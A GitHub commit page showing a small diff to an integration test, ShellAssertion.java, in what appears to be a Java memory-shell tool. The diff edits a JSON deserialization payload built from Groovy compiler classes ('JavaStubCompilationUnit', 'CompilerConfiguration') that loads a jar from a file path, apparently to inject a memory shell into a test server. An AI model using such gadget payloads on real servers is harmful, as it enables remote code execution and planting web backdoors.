Skip to content

Commit 1e649f8

Browse files
committed
test: simplify payload
1 parent 6d08608 commit 1e649f8

File tree

1 file changed

+2
-4
lines changed

1 file changed

+2
-4
lines changed

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -145,10 +145,8 @@ public static void packerResultAndInject(MemShellResult generateResult, String u
145145
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
146146
" \"config\":{\n" +
147147
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
148-
" \"classpathList\":[\"file://" + jarPath + "\"]\n" +
149-
" },\n" +
150-
" \"gcl\":null,\n" +
151-
" \"destDir\": \"/tmp\"\n" +
148+
" \"classpathList\":\"file://" + jarPath + "\"\n" +
149+
" }\n" +
152150
"}";
153151
} else if (packer.getInstance() instanceof XalanAbstractTransletPacker) {
154152
String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig());

0 commit comments

Comments
 (0)